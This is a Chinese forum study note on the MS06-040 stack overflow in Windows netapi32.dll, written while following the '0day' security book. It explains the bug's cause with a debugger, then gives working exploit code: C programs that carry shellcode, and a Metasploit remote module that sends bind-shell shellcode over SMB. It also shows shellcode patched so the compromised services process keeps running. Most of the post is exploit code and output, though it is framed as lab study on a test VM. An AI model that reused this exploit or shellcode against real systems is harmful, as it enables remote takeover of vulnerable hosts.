首页
社区
课程
招聘
[原创][完]0day安全学习笔记:MS06-040漏洞分析
2021-5-31 14:21 9420

[原创][完]0day安全学习笔记:MS06-040漏洞分析

2021-5-31 14:21
9420

代码说明:大部分代码来源于0day,有我自己的修改,贴出的代码是我在实验过程中使用的,有出错→修正→调试的一个过程,最终代码以附件中为准。

1. 漏洞说明

MS06-040位于netapi32.dll动态链接库的导出函数NetpwPathCanonicalize()中,该函数可以被RPC远程调用,其原型为:

1
2
3
4
5
6
7
8
int NetpwPathCanonicalize (
    uint16  path[ ],     //   [in]  path name
    uint8  can_path[ ],  //    [out]  canonicalized path
    uint32  maxbuf,      //  [inmax size of can_path
    uint16  prefix[ ],   //  [in]  path prefix
    uint32*  pathtype,   //  [in out]  path type
    uint32  pathflags    //  [in]  path flags, 0 or 1
);

功能就是将prefixpath使用\字符相连,输出到can_path中,maxbuf为输出的最大长度。

 

为查明漏洞成因,使用以下代码对其进行调试,实验使用的是Win2000SP4中的netapi32.dll。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
 
int main() {
    char path[0x320];
    char can_path[0x440];
    int maxbuf = 0x440;
    char prefix[0x100];
    long pathtype = 44;
 
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[] = "./netapi32.dll";
    char VulFunc[] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc);
    memset(path, 0, sizeof(path));
    memset(path, 'a', sizeof(path) - 2);
    memset(prefix, 0, sizeof(prefix));
    memset(prefix, 'b', sizeof(prefix) - 2);
 
    (Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0);
    FreeLibrary(LibHandle);
 
    return 0;
}

2. 漏洞成因

在计算字符串长度的时候使用的是wcslen函数,该函数用来计算宽字符串长度,因此在计算大小为0x10E字节(不包括结束字符)的prefix长度时,返回的结果为0x87,计算大小为0x31e字节(不包括结束字符)的path长度时,返回的结果为0x18f

 

在将字符串复制到栈中的时候,程序保留了0x414字节的空间:

 

图片描述

 

在计算空间是否足够的时候,比较的是0x18f+0x87+1=0x2170x411的大小

 

这样计算得到的结论当然是空间足够,之后进行了wcscat的调用,将两组字符串都复制到栈中,在此之前,观察EBP的值为0x12f698,字符串复制完之后,查看栈中的情况:

 

图片描述

2.1 0x411这个数字是怎么回事?

在调试的时候,我比较疑惑0x411这个数字是怎么回事,是根据程序动态变化的,还是写死在代码里面的,于是仔细检查了一下。

 

如果在代码级别修改,调高prefixpath的大小,让两者之和大于0x822(按照代码中的检查逻辑就比0x411大了),结果发现程序根本没有到达CanonicalizePathName函数的调用。

 

后来调试了一下,发现在到达漏洞触发点之前,NetpwPathCanonicalize()函数会调用NetpwPathType函数,检查prefix的长度是否越界:

 

图片描述

 

上图检查了prefix的长度是否超过了0x103。所以这次设置prefix的大小为0x206path的大小为0x630,最终发现0x411这个数值并没有发生变化,由于总长度为(0x206-2+0x630-2)\2+1=0x41A,超过了0x411,所以函数直接返回了0x7B(ERROR_INVALID_NAME)

 

所以说0x411这个数是写死的。

3. 漏洞利用

仔细观察一下函数返回时栈中的情况以及寄存器的情况,寄存器:

 

图片描述

 

而在栈中,prefix的起始地址为0x12f284,和ECX的值相同,所以可以把jmp ecx作为跳板指令,

 

prefix的长度为0x100shellcode的长度为0xa8,可以放到prefix中,从上图中可以看到返回地址位于path的倒数9-12字节,所以得到下面的漏洞利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
 
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
 
int main() {
    char path[0x320];
    char can_path[0x440];
    int maxbuf = 0x440;
    char prefix[0x100];
    long pathtype = 44;
 
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[] = "./netapi32.dll";
    char VulFunc[] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc);
    memset(path, 0, sizeof(path));
    memset(path, 0x90, sizeof(path) - 2);
    memset(prefix, 0, sizeof(prefix));
    memset(prefix, 'a', sizeof(prefix) - 2);
    memcpy(prefix, shellcode, 168);
    path[0x318] = 0x78;
    path[0x319] = 0x06;
    path[0x31a] = 0x49;
    path[0x31b] = 0x7e;
 
    (Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0);
    FreeLibrary(LibHandle);
 
    return 0;
}

其中0x7e490678为内存中jmp ecx所在的地址。

3.1 出现的问题

但是上面的代码出现了问题,通过调试,程序可以执行到shellcode的位置,但是……

 

图片描述

 

执行到这里的时候,sub esp, ebx之后,得到esp的值为0x12f2a8,注意这里,这个地址已经是shellcode所在的位置了,也就是说之后的入栈操作会直接覆盖下面的shellcode指令,然后就变成了这样,/(ㄒoㄒ)/~~

 

图片描述

3.2 解决办法

我不知道自己实践过程中和0day有什么差异导致了现在这种结果,但是现在要想办法解决了,修改shellcode显然太麻烦了,鉴于prefix中还有足够的空间,所以可以直接改变shellcode的位置,把新的栈顶位置0x12f2a8绕过去。

 

最终的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
 
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"          // 在这里加了48个字节的nop
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
 
int main() {
    char path[0x320];
    char can_path[0x440];
    int maxbuf = 0x440;
    char prefix[0x100];
    long pathtype = 44;
 
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[] = "./netapi32.dll";
    char VulFunc[] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc);
    memset(path, 0, sizeof(path));
    memset(path, 0x90, sizeof(path) - 2);
    memset(prefix, 0, sizeof(prefix));
    memset(prefix, 'a', sizeof(prefix) - 2);
    memcpy(prefix, shellcode, 0xd8);                  // 注意这里的长度要修改
    path[0x318] = 0x78;
    path[0x319] = 0x06;
    path[0x31a] = 0x49;
    path[0x31b] = 0x7e;
 
    //__asm int 3
    (Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0);
    FreeLibrary(LibHandle);
 
    return 0;
}

最终成功执行shellcode!

 

图片描述

4. 远程利用

4.1 配置

攻击机:

 

操作系统:kali 5.10.0-kali7-686-pae

 

IP地址:192.168.6.70

 

靶机:

 

操作系统:Windows2000 Pro

 

IP地址:192.168.6.21

4.2 准备

首先确定靶机开启的端口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali:~# nmap --allports -O 192.168.6.21
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-31 05:05 EDT
Nmap scan report for 192.168.6.21
Host is up (0.0011s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
MAC Address: 00:0C:29:92:CF:CA (VMware)
Device type: general purpose
Running: Microsoft Windows 2000|XP
OS CPE: cpe:/o:microsoft:windows_2000::- cpe:/o:microsoft:windows_2000::sp1 cpe:/o:microsoft:windows_2000::sp2 cpe:/o:microsoft:windows_2000::sp3 cpe:/o:microsoft:windows_2000::sp4 cpe:/o:microsoft:windows_xp::- cpe:/o:microsoft:windows_xp::sp1
OS details: Microsoft Windows 2000 SP0 - SP4 or Windows XP SP0 - SP1
Network Distance: 1 hop
 
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.57 seconds

可以看到打开了445端口。

 

之后根据书里说的,把exploit脚本放到msf的目录里,因为msf的版本不同,所以要对书里的代码做一些修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
class MetasploitModule < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Msf::Exploit::Remote::DCERPC
    include Msf::Exploit::Remote::SMB::Client                      # 主要就是上面这几行,还有最后一行多了一个end
    def initialize(info = {})
        super(update_info(info,
            'Name'   => 'MS06-040 Remote overflow POC ',
            'Platform' => 'win',
            'Targets'  => [['Windows 2000 SP0',
                            {'Ret' => [0x318 , 0x74FB62C3]}
                           ]]
             ))
        register_options([OptString.new(
                                'SMBPIPE',
                                [true,"(BROWSER, SRVSVC)", 'BROWSER']
                                ),],
                         self.class
    end #end of initialize
    def exploit
        connect()
        smb_login()
        handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188',
                              '3.0''ncacn_np',  ["\\#{datastore['SMBPIPE']}"])
        dcerpc_bind(handle)
        prefix = "\x8B\xC1\x83\xC0\x05\x59\x81\xC9\xD3\x62\x30\x20\x41\x43\x4D\x64"+
            "\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B"+
            "\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77\x73"+
            "\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60\x8B"+
            "\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47"+
            "\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7\x3A"+
            "\x54\x24\x1C\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59"+
            "\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4\x5E"+
            "\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3\xAB"+
            "\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x1A\x0A\x32\xE4\x50"+
            "\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\x83\xEF\x6C"+
            "\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50\x50\x56\x50\xFF\x56"+
            "\xE4\xFF\x56\xE8\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"+
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"+
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"+
            "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x00\x00"
        path = "\x90" * 0x318 + [target['Ret'][1]].pack('V') + 
            "\x04\xD0\xFD\x7F" * 5 +    # writeable address
            "\x66\x81\xEC\x30\x04" +    # sub esp,430
            "\x8B\xC4" +             # mov eax, esp
            "\xFF\xE4" +            # jmp esp
            "\x00\x00"
        stub =NDR.long(rand(0xffffffff)) +
             NDR.UnicodeConformantVaryingString('') +
             NDR.UnicodeConformantVaryingStringPreBuilt(path) +
             NDR.long(rand(0xf0)+1) +
             NDR.UnicodeConformantVaryingStringPreBuilt(prefix) +
             NDR.long(rand(0xf0)+1) +
             NDR.long(0)    
        dcerpc.call(0x1f, stub) # call NetpwPathCanonicalize()
        disconnect    
    end  #end of exploit def
end

如果不修改代码,在执行reload_all之后仍然找不到自己的脚本。

 

最后的配置是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
msf6 exploit(failwest/ms06_040) > show options
 
Module options (exploit/failwest/ms06_040):
 
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.6.21     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       (BROWSER, SRVSVC)
 
Payload options (windows/exec):
 
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CMD       calc             yes       The command string to execute
   EXITFUNC  seh              yes       Exit technique (Accepted: '', seh, thread, process, none)
 
Exploit target:
 
   Id  Name
   --  ----
   0   Windows 2000 SP0

这时执行exploit并没有成功,靶机提示services意外关闭,然后重启了,这也很正常,我用的win2000系统版本不同,所以需要修改payload。

4.3 调试services

将OD附加到services上,然后在NetpwPathCanonicalize上下一个断点,F9继续执行。

 

回到攻击机上,执行exploit,再回到靶机,发现OD已经断在了NetpwPathCanonicalize上,然后一直单步,到达retn 14语句,可以看到此时栈中的情况

 

图片描述

 

再一次单步,到达了这个修改的返回地址

 

图片描述

 

显然,由于系统版本的问题,这里的指令并不是预期的jmp esp,与此同时,在我使用的靶机上,可以看到ecx的值为0x142f644,正是shellcode的起始位置,也就是在这个靶机上仍然可以使用jmp ecx这个跳板(并不是/(ㄒoㄒ)/~~)。

 

使用jmp ecx的时候发现并不稳定,所以最后使用的还是jmp esp,需要重新搜索这个指令的地址,找到了0x77e19eb8

4.3.1 代码修改与再调试

只需要把代码开头的返回地址修改成0x77e19eb8就行了

1
2
3
4
'Targets'  => [['Windows 2000 SP0',
                            {'Ret' => [0x318 , 0x77e19eb8]}
                           ]]
             ))

这次还是调试services,看一下再次执行到retn 0x14的时候OD的情况:

 

图片描述

 

看起来都很正常,继续单步也可以进入shellcode执行。最后不再使用OD调试,直接执行exploit,msf没有输出,但是再开一个命令行使用telnet连接,已经可以连接到靶机上了:

 

图片描述

4.4 services又崩溃了,怎么办?

虽然成功连接到了靶机上,但是靶机很快就崩溃重启了,原因在于使用的shellcode最后调用了ExitProcess(),也就是说我们直接退出了services进程,这样电脑当然会崩溃。

4.4.1 寄存器值的恢复

所以需要重新修改一下shellcode,根据深入浅出MS06-040(看雪网络版)所说:

函数返回是通过ret时三个重要的寄存器EBP, EIP, ESP的内容来实现的,只要在shellcode结束时恢复这三个寄存器的内容,就可以让函数正常返回

 

所以现在要找到溢出之前这三个值都是什么。

 

对于EIP的值,这个值对于同一个DLL来说应该是不变的,重新回顾一下,漏洞发生在NetpwPathCanonicalize函数中的一次函数调用,所以我们恢复的应该是该函数调用后下一条指令的地址,在我这里是0x75107B78

 

而其他两个寄存器的值,我们可以对比一下发生溢出和不发生溢出时,漏洞函数执行前后这两个寄存器的值有什么变化:

 

图片描述

 

所以说我们需要恢复的只有EBP寄存器的值,而这个值比ESP的值大了0xC。

4.4.2 shellcode再修改

之前并没有仔细看shellcode的内容,和书中一样用的bindshell的shellcode,这是一个通用的shellcode,因此里面包含了搜索DLL地址,搜索API函数地址,以及计算哈希以实现代码压缩的功能,考虑篇幅原因,这里不再贴出具体汇编代码,为了说明如何恢复寄存器的值,在这里使用【原shellcode】指代书中提供的汇编代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
mov ebp, esp
add ebp, 0xc
push ebp
push esp
sub esp, 0x428
mov eax, esp
jmp esp
【原shellcode】 ; 这个汇编代码其实需要修改,去掉结尾的ExitProcess调用
mov ecx, 0x75107B78
add esp, 0x428
pop esp
pop ebp
jmp ecx

上面的汇编代码能够成立的前提是原shellcode本身是堆栈平衡的(其实不止这一个问题),但是很不幸,它不是(因为我实验的时候services又崩溃了,/(ㄒoㄒ)/~~)

 

把上面的汇编代码写到程序里,编译,使用OD调试,可以获得对应的机器码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
"\x8B\xEC\x83\xC5\x0C\x55\x54\x66\x81\xEC\x28\x04\x8B\xC4\xFF\xE4"
 
"\x59\x81\xC9\xD3\x62\x30\x20\x41\x43\x4D\x64\x99\x96\x8D\x7E\xE8" // 原shellcode
"\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xB6"
"\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77\x73\x32\x5F\x54\xAC\x3C"
"\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60\x8B\x45\x3C\x8B\x4C\x05"
"\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5"
"\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7\x3A\x54\x24\x1C\x75\xEA"
"\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C"
"\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4\x5E\x54\x6A\x02\xAD\xFF"
"\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3\xAB\x40\x50\x40\x50\xAD"
"\xFF\xD0\x95\xB8\x02\xFF\x1A\x0A\x32\xE4\x50\x54\x55\xAD\xFF\xD0"
"\x85\xC0\x74\xF8\xFE\x44\x24\x2D\x83\xEF\x6C\xAB\xAB\x58\x54\x54"
"\x50\x50\x50\x54\x50\x50\x56\x50\xFF\x56\xE4"
 
"\xB9\x78\x7B\x10\x75\x66\x81\xC4\x28\x04\x5C\x5D\xFF\xE1"

接下来只要使用上面的机器码替换msf的exploit脚本中的机器码就可以了。

 

就是在这里,services又崩溃了,因为堆栈不平衡,解决方法看下面的第三个问题。

4.4.3 遇到的一些问题

  1. add esp, 0x428 包含两个字节的\x00?

    但是原本书中提供的代码也包含这个指令,却没有这个问题,后来我用书中提供的机器码翻译成汇编语言,发现得到的是add sp, 0x428,sp指的是esp的低16位,在当前情况中是可以这样使用的,所以问题解决

  2. call [esi - 0x1c] ; 指向的内容不对?

    执行到最后的调用指令,即调用CreateProcessA的时候,在OD中发现该地址位置包含的数值为0x411,后来仔细阅读了一下前面的汇编代码,发现书中有一句指令被注释了,应该是PDF格式的排版问题

    图片描述

  3. 原本的shellocode堆栈不平衡怎么办?

    由于原本的shellcode堆栈不平衡,这就导致在自己在前后添加的汇编指令没能得到预期的执行结果。

    为了避免一句一句的看汇编代码,分析堆栈变化情况,我打算直接根据调试结果,调整汇编代码最后的add esp, 0x428中的数值。在调试的时候,执行完shellcode开头的push ebp push esp之后,栈中的情况是这样的:

    图片描述

    也就是说保存的esp和ebp分别保存在了地址0x162FA6C0x162FA70的位置,继续调试,执行到shellcode最后的mov ecx, 0x75107B78指令时,此时的ESP寄存器值为0x162F360,和0x162FA6C相差0x70C,所以直接把shellcode最后一行中的\x28\x04修改为\x0c\x07

    然后,又崩溃了……/(ㄒoㄒ)/~~,问题在于下一点。

  4. 除了恢复三个寄存器的值,还有返回地址要恢复!

    其实正常来说,确实只需要考虑ESP, EBP和EIP三个寄存器就可以了,但是在我修改shellcode的过程中,添加的代码太多了,回顾一下,我在开头添加的这几句指令:

    1
    2
    3
    4
    5
    6
    7
    mov ebp, esp
    add ebp, 0xc
    push ebp
    push esp
    sub sp, 0x428
    mov eax, esp
    jmp esp

    它的机器码最终要放在path变量中的返回地址(指向jmp esp)的后面,也就是说它会覆盖栈中原本保存的的一些变量,如果长度过长,就可能覆盖下一个栈帧的返回地址,导致函数无法正常返回。

    而在漏洞函数之后,代码是这样的

    图片描述

    而上面的汇编指令对应的机器码就是16个字节,但是再加上unicode字符串结尾的两个字节,就是18个字节,会覆盖下个栈帧的返回地址。

    其实哪怕不考虑返回地址,这四个pop指令要恢复之前ESI EDI EBX EBP寄存器的值,现在也不确定这四个寄存器的值的改变会不会影响程序的执行,因此应该保证添加的这几句指令占用的空间越少越好。

    所以我把shellcode修改成了这样:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    push esp
    sub sp, 0x42c
    mov eax, esp
    jmp esp
    【原shellcode】
    mov ecx, 0x75107B78
    add esp, 【待确定】   // 后来确定是0x710
    pop esp
    mov ebp, esp
    add ebp, 0xc
    jmp ecx

    前面的四句指令占用10个字节\x54\x66\x81\xEC\x28\x04\x8B\xC4\xFF\xE4,加上字符串结尾的两个字节一共12个字节,

    最终的msf脚本见附件。这个时候就能成功入侵靶机,并且不会再导致services崩溃了(我等了一段时间,在攻击机上执行了几个简单的指令,没发生崩溃)。

    可以看到任务管理器里面的cmd进程:

    图片描述

5. 后记

这次对于ms06_040漏洞的分析过程中,漏洞的原理还是比较简单的,难点其实在于后期的远程利用以及对于shellcode的修改,和正常的编程相比,shellcode的编写必须更加仔细,而且要时刻保持”短小精悍“。

 

其实我认为上面的代码还是存在一些缺陷的,因为使用jmp esp做跳板,栈中保存的一些数据就必然会被覆盖一部分,当从shellcode回到正常代码之后,就会影响到寄存器值的恢复。

 

后来实验的过程中,我发现使用jmp ecx作为跳板应该还是有机会的,我不知道自己第一次使用jmp ecx做远程攻击时为什么会出现问题,但是后来那个问题就没再出现。

 

我也尝试使用jmp ecx做跳板进行了实验,shellcode的改动其实不大,就是esp寄存器的数值需要做调整,但是不知道为什么,shellcode在执行到WSASocketA函数调用的时候会失败(・∀・(・∀・(・∀・*)

 

之后应该还会尝试jmp ecx的方法,但是不知道啥时候弄完了,这篇文章暂时到此为止。


[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2021-6-7 14:09 被LarryS编辑 ,原因: 完结
上传的附件:
收藏
点赞2
打赏
分享
最新回复 (1)
雪    币: 11996
活跃值: (10304)
能力值: ( LV13,RANK:660 )
在线值:
发帖
回帖
粉丝
LarryS 13 2021-6-7 14:11
2
0
关于最后`WSASocketA`函数调用失败的原因,如果有人直到就太好了
游客
登录 | 注册 方可回帖
返回